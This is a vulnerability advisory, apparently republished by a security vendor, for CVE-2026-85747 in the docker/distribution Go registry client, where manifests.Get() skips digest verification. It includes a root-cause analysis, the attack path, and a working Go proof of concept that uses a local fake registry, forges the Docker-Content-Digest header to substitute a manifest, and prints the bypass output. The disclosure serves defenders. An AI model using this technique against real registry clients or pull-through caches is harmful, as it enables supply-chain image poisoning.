Summary
Distribution: Client manifests.Get() does not verify returned content against requested digest
registry/client.(*manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity, image policy controllers, mirrors, pull-through caches, is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.
Details
Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied, it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.
Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with:
Docker-Content-Digest: <requested-digest>(forged header)- A body containing a different, attacker-chosen manifest
The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.
Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification, so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.
Relevant code path (repository.go, simplified):
// line ~496
func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {
...
resp, err := ms.client.Get(u)
...
body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check
...
m, _, err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes
return m, err
}
PoC
go.mod:
module poc
go 1.24.10
require (
github.com/distribution/reference v0.6.0
github.com/docker/distribution v2.8.3+incompatible
github.com/opencontainers/go-digest v1.0.0
)
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/docker/go-metrics v0.0.1 // indirect
github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect
github.com/golang/protobuf v1.3.2 // indirect
github.com/gorilla/mux v1.8.1 // indirect
github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect
github.com/opencontainers/image-spec v1.1.1 // indirect
github.com/prometheus/client_golang v1.1.0 // indirect
github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect
github.com/prometheus/common v0.6.0 // indirect
github.com/prometheus/procfs v0.0.3 // indirect
github.com/sirupsen/logrus v1.9.4 // indirect
golang.org/x/sys v0.13.0 // indirect
)
main.go:
// PoC: registry/client manifests.Get() does not verify the requested digest
// against the returned body. A malicious registry (or MITM) can serve
// arbitrary content for a digest-pinned manifest reference and the client
// will accept it.
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"github.com/distribution/reference"
"github.com/docker/distribution/manifest/schema2"
"github.com/docker/distribution/registry/client"
"github.com/opencontainers/go-digest"
)
// A real, "trusted" manifest the user pinned by digest.
var trustedManifest = []byte(`{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
"layers": []
}`)
// A different, attacker-controlled manifest the malicious server returns instead.
var evilManifest = []byte(`{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"},
"layers": []
}`)
func main() {
pinnedDigest := digest.FromBytes(trustedManifest)
evilDigest := digest.FromBytes(evilManifest)
fmt.Println("client requests manifest pinned at:", pinnedDigest)
fmt.Println("server will instead return content :", evilDigest)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Lie: claim the digest matches what was asked, but serve evil bytes.
w.Header().Set("Content-Type", schema2.MediaTypeManifest)
w.Header().Set("Docker-Content-Digest", pinnedDigest.String())
w.WriteHeader(200)
w.Write(evilManifest)
}))
defer srv.Close()
name, _ := reference.WithName("library/alpine")
repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)
if err != nil {
panic(err)
}
ms, _ := repo.Manifests(context.Background())
// Fetch by *digest*, caller expects content-addressed integrity.
m, err := ms.Get(context.Background(), pinnedDigest)
if err != nil {
fmt.Println("Get error:", err)
return
}
_, payload, _ := m.Payload()
got := digest.FromBytes(payload)
if got != pinnedDigest {
fmt.Println()
fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest")
fmt.Println(" requested:", pinnedDigest)
fmt.Println(" received :", got)
} else {
fmt.Println("OK: digest verified")
}
}
Output (v2.8.3+incompatible):
client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
>>> BYPASS: client accepted manifest that does NOT match requested digest
requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
Impact
Any application that calls registry/client.(*manifests).Get() with a digest argument, and relies on that digest to guarantee which image content it receives, is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.
An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content, changing image layers, entrypoints, or referenced blobs, and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.
Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.
CVE-2026-85747 has a CVSS score of 6.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-85747? CVE-2026-85747 is a medium-severity security vulnerability in github.com/docker/distribution (go), affecting versions <= 2.8.3. It is fixed in 3.1.2.
- How severe is CVE-2026-85747? CVE-2026-85747 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-85747?
github.com/docker/distribution(go) (versions <= 2.8.3)github.com/distribution/distribution/v3(go) (versions < 3.1.2)
- Is there a fix for CVE-2026-85747? Yes. CVE-2026-85747 is fixed in 3.1.2. Upgrade to this version or later.
- Is CVE-2026-85747 exploitable, and should I be worried? Whether CVE-2026-85747 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-85747 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-85747? Upgrade
github.com/distribution/distribution/v3to 3.1.2 or later.